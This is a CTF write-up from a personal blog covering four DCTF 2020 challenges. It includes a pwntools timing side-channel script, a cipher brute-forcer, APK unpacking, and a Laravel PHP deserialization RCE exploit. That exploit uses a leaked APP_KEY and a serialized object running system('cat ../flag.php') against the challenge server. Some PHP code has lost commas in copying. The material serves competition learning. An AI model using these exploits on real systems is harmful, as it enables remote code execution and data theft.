[dctf 2020] writeup

Write up 2020. 12. 10. 18:00
반응형

3rd  place

 

1.1  inorder

1.1.1       Proof of flag

Flag: CTF{W3ll_D0N3!$_^_}

1.1.2       Summary of the vulnerabilities identified

 

1.     Side Channel Attack using BST features

2.     Side Channel Attack Accuracy Improvement

3.     Optimization of Algorithm to Improve Side Channel Attack Performance

 

1.1.3       Proof of solving

This problem simply implements BST (Binary Search Tree), determines whether it is flagged as shown in the figure below, and ends without outputting.

 

Also, when receiving data, up to 10001 values can be entered simultaneously. Therefore, it can be seen that side channel attack is possible as shown in the figure below.

Figure x
Figure y

When a continuous value of C is added to a node, the value is smaller than the corresponding value, or when a value smaller than C, such as A, is inserted, you can proceed quickly. However, if you insert a value larger than C like D, a node with D value is added to the right of the leaf with C value. Therefore, the search proceeds the same, so a total of 10000 data is inserted to obtain a significant time difference. First, insert 10000 data with input[i] + 1 After that, if you exit to search for flags, the [figure x, y] situation. Therefore, it was possible to confirm that a time difference may occur locally as shown in the figure below.

 

1.  from pwn import *

2.  import time

3.  import sys

4.   

5.  context.log_level = 'error'

6.   

7.  flag = "CTF{"

8.  #flag = ""

9.   

10. threshold = 0.002

11. threshold = 1.2

12.  

13. for i in range(20):

14.     result = []

15.     left, mid, right = 33, (127 + 33) // 2, 127

16.     while left <= right:

17.         mid = (right + left) // 2

18.         print(left, chr(mid), right)

19.         last = -1

20.         try:

21.             s = 0

22.             for x in range(5):

23.                 r = remote("35.198.103.37", 32323)

24.                 #r = process(["python", "server_public.py"])

25.                 p = [ flag + chr(mid + 1) ] * 1000

26.                 p += [ flag + chr(mid) ]

27.  

28.                 r.sendlineafter(": ", f"/a {';'.join(p)}")

29.  

30.                 r.recvuntil(": ")

31.                 start = time.time()

32.                 r.sendline("/exit")

33.                 r.recvuntil("Bye!")

34.                 end = time.time()

35.  

36.                 diff = end - start

37.                 s += diff

38.  

39.                 r.close()

40.  

41.             print(i, mid, s)

42.  

43.             if threshold < s:

44.                 left = mid + 1

45.             else:

46.                 right = mid - 1

47.  

48.         except EOFError:

49.             pass

50.  

51.     if threshold < s:

52.         flag += chr(right + 1)

53.         print("left")

54.     else:

55.         flag += chr(mid)

56.         print("right")

57.     print(flag)

 

 

2.1  secret-reverse

2.1.1       Proof of flag

Flag: ctf{9b9972e4d59d0360b5f1b80a5bbd76c05d75df5b636576710a6271c668a10ac5}

2.1.2       Summary of the vulnerabilities identified

 

1.     Encryption Algorithm Analysis

2.     Inverse operation possibility check and bruteforce

 

2.1.3       Proof of solving

This problem was given a program that reads the message.txt file and encrypts the file. When I decompile that file, I could see code like this:

Therefore, in order to understand the algorithm more easily, the porting was performed with the Python code as follows, and it was found that the encrypted string was replaced for every two characters and output.

1.  data = list(b"ae")

2.   

3.  for i in range(len(data)):

4.      if data[i] == ord("_"):

5.          data[i] = ord("x")

6.   

7.  wtf_table = b"ABCDEvodkaFGHIJbcefgKLMNOhijlmPQRSTnpqrsUVWXYtuwxyjamesABCDEonsbcFGHIJdfghiKLMNOklpqrPQRSTtuvwxUVWXY"

8.  byte_2071C0 = [0] * len(data)

9.  v6, v7 = 0, 0

10. for i in range(len(data)):

11.     if data[i] > 0x2f and data[i] <= 0x39 or data[i] > 0x60 and data[i] <= 0x7a:

12.         if (i + v7) & 1 and byte_2071C0[v6 - 1] == data[i]:

13.             byte_2071C0[v6] = ord('x')

14.             v6 += 1

15.         else:

16.             byte_2071C0[v6] = data[i]

17.             v6 += 1

18.     else:

19.         v7 += 1

20.  

21. if v6 & 1:

22.     byte_2071C0[v6] = ord('x')

23.  

24. print(bytes(byte_2071C0))

25.  

26. def sub_2003(x):

27.     for i in range(0, 5):

28.         for k in range(5, 10):

29.             if x == wtf_table[10 * i + k]:

30.                 return i

31.  

32. def sub_20A8(x):

33.     for i in range(5, 10):

34.         for k in range(0, 5):

35.             if x == wtf_table[10 * i + k]:

36.                 return k

37.  

38. result = [0] * len(data)

39. for p in range(0, len(byte_2071C0), 2):

40.     v4 = sub_2003(byte_2071C0[p])

41.     v5 = sub_20A8(byte_2071C0[p + 1])

42.     result[p] = wtf_table[10 * v4 + v5]

43.     result[p + 1] = wtf_table[10 * v5 + v4]

44.  

45. atable = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ"

46. capetown = b"capetown"

47. result2 = []

48. for i in range(len(result)):

49.     v12 = result[i]

50.     v15 = 0

51.     for k in range(26):

52.         if ord(chr(v12).upper()) == atable[k]:

53.             v15 = k

54.             break

55.  

56.     v13 = capetown[i % len(capetown)]

57.     v17 = 0

58.     for k in range(v15, v15 + 26):

59.         v7 = atable[k % 26]

60.         if v7 == ord(chr(v13).upper()):

61.             # print(v15)

62.             break

63.         v17 += 1

64.  

65.     result2 += [ atable[v17] ]

66.  

67. print(bytes(result2))

 

 

Figure 1

To proceed with the inverse operation, the substitution encryption method used in the above code was applied in reverse, and there are five cases per character. Therefore, there are difficulties when decoding by inverse operation. However, due to the nature of substitution ciphers, it is vulnerable to bruteforce. Therefore, if you bruteforcing the given flag encryption string (46004746409548141804243297904243125193404843946697460795444349) using the code below, you can know the two character candidates. Thus, the original string can be known at run time until the encrypted string matches.

1.  from pwn import *

2.   

3.  t = "_abcdefghijklmnopqrstuvwxyz0123456789"

4.   

5.  context.log_level = 'error'

6.   

7.  flag= ""

8.  tmp = []

9.   

10. for a in t:

11.     for b in t:

12.         try:

13.             open("./message.txt", "w").write(flag + a + b)

14.             con = process("./rev_secret_secret.o")

15.             con.recvuntil(":  ")

16.             result = con.recvline()[:-1]

17.             print(flag + a + b, result)

18.             con.close()

19.  

20.             if b"460" in result:

21.                 print(result)

22.                 tmp += [ (flag + a + b, result) ]

23.                 #exit(0)

24.         except EOFError:

25.             pass

26.  

27. print(tmp)

 

 

Figure 2
Figure 3

 

3.1  modern-login

3.1.1       Proof of flag

Flag: ctf{356c5e791de08610b8e9cb00a64d16c2cfc2be00b133fdfa5198420214909cc1}

3.1.2       Summary of the vulnerabilities identified

 

1.     Analysis of APK file implemented with kivy framework

2.     Flag verification logic analysis

3.     Decode string obfuscation

 

3.1.3       Proof of solving

The problem is given an APK file. To analyze the app, I used the decompile tool and looked at AndroidManifest.xml as shown in the figure below.

Figure 1

I googled the org.kivy.android.PythonActivity used in android:name to find out which framework is being used and confirmed that it is the kivy framework. The framework was able to create apps using python, and execute python code inside the app to perform defined functions. Example code is as follows:

Figure 2

Also, the framework includes all the Python code in the Assets/private.mp3 file as illustrated in the figure below (Figure 2), so you need to analyze the private.mp3 file to extract the app's python code.

 

Figure 3

First, I analyzed the org.kivy.android.PythonActivity::onCreate method, and by using the UnpackFileTask class inside, I could guess that the private.mp3 file is decompressed.

 

Figure 3

 

Figure 4

 

As shown in Figure 3, you can see that the file is unpacked using the UnpackFileTask class, and you can see that a method called unpackData is called internally.

 

Figure 5

 

Inside that class, you can see that the unpackData method is called, and the AssetExtract::extractTar method is called to untar the private.mp3. Therefore, the private.mp3 file is a tar file, so I extracted and decompressed the file. Figure 6 below is a list of files after decompression, and Table 1 is the main.py source code.

 

Figure 6

 

In the code above, I looked closely at lines 27 to 29 that seem to print the flag, and I can see that the encrypted string needs to be decrypted. However, this does not require inverse computation, and if the previously defined d function is called and decryption proceeds, the flags as below could be obtained.

 

Figure 7
Figure 8

 

4.1  environ

4.1.1       Proof of flag

Flag: ctf{ea4941519e740783ebd819100ddc13486ae1e0abec2d0ef32bad5fc98edd16b6}

4.1.2       Summary of the vulnerabilities identified

 

1.     Guessing directory

2.     Dump git directory and checkout files

3.     RCE using php deserialization vulnerability

 

4.1.3       Proof of solving

 

Figure 1

 

The problem is a server implemented using the Laravel framework. If you log in after creating an account first, you will see a screen like Figure 1. As there is a saying that it is being maintained, I tried a specific path (.git, backup, etc.) with the idea that it could be managed with git.

 

Figure 2

 

Therefore, I dumped all of the backup git after making minor modifications to git-dump and restored the files through checkout.

 

Figure 3

 

After that, to check the implemented source code, I looked at routes, apps, etc., and confirmed that app/Http/Middleware/YourChain.php exists.

<?php

 

namespace App\Http\Middleware;

 

use Closure;

use Illuminate\Http\Request;

 

class YourChain

{

    /**

     * Handle an incoming request.

     *

     * @param  \Illuminate\Http\Request  $request

     * @param  \Closure  $next

     * @return mixed

     */

    // public function handle(Request $request, Closure $next)

    // {

    //     return $next($request);

    // }

 

    public $inject;

    function __construct(){

    }

    function __wakeup(){

        if(isset($this->inject))

        {            if(isset($this->inject[5])){

                eval($this->inject[5]);

            }

            

        }

    }

}

 

 

 

Also, as a result of checking routes/web.php, I checked the following code.

<?php

 

use Illuminate\Support\Facades\Route;

 

/*

|--------------------------------------------------------------------------

| Web Routes

|--------------------------------------------------------------------------

|

| Here is where you can register web routes for your application. These

| routes are loaded by the RouteServiceProvider within a group which

| contains the "web" middleware group. Now create something great!

|

*/

 

Route::get('/'function () {

    return redirect('/dashboard');

});

 

Route::get('/decode/{secret}''DashboardController@decode')->name('decode')->where('secret''[A-Za-z0-9\/\+%=]+');

 

Route::middleware(['auth:sanctum''verified'])->get('/dashboard'function () {

    return view('dashboard');

})->name('dashboard');

Route::middleware(['auth:sanctum''verified'])->group(function () {

    Route::get('/''DashboardController@index')->name('index');

});

 

 

As shown above, when requested to the /decode/{secret} path, it was confirmed that the secret was decrypted. When decrypting it, the following class method is used.

<?php

 

namespace App\Http\Controllers;

 

use Illuminate\Http\Request;

 

class DashboardController extends Controller

{

    public function index(Request $request)

    {

        return view('good');

    }

 

    public function decode(Request $request, $secret)

    {

        $key = env('APP_KEY');

        $cipher = "AES-256-CBC";

        $iv = substr(env('APP_KEY'), 016);

        $secret_message = unserialize(openssl_decrypt($secret$cipher$key0$iv));

        var_dump($secret_message);

    }

 

}

 

 

 

It can be confirmed that php deserialization attack is possible according to the above implementation, so you need to find a key to be used for encryption. It was confirmed that this exists inside the .env.example file, and the desired secret was encrypted by writing and executing the code so that the desired code can be executed through the code below, and the flag was obtained after leaking the internal file.

<?php

namespace App\Http\Middleware;

 

use Closure;

use Illuminate\Http\Request;

class YourChain

{

    public $inject;

    function __construct(){

    }

    function __wakeup(){

        if(isset($this->inject))

        {

            if(isset($this->inject[5])){

                eval($this->inject[5]);

            }

            

        }

    }

}

 

    $APP_KEY = 'base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=';

    $chain = new YourChain;

    $chain->inject[5] = 'system("cat ../flag.php");';

    $secret = serialize($chain);

    $key = $APP_KEY;

    $cipher = "AES-256-CBC";

    $iv = substr($APP_KEY016);

 

    echo $iv;

    $secret_message = openssl_encrypt($secret$cipher$key0$iv);

    echo $secret_message."\n";

 

    $secret = $secret_message;

 

    echo file_get_contents('http://35.198.183.125:30278/decode/' . $secret);

    exit;

    $key = $APP_KEY;

    $cipher = "AES-256-CBC";

    $iv = substr($APP_KEY016);

    $secret_message = unserialize(openssl_decrypt($secret$cipher$key0$iv));

    var_dump($secret_message);

?>

 

 

 

'Write up' 카테고리의 다른 글

SECCON 2014 Programming 문제  (0) 2014.12.24
Write up  (0) 2014.10.04
블로그 이미지

KuroNeko_

KuroNeko

,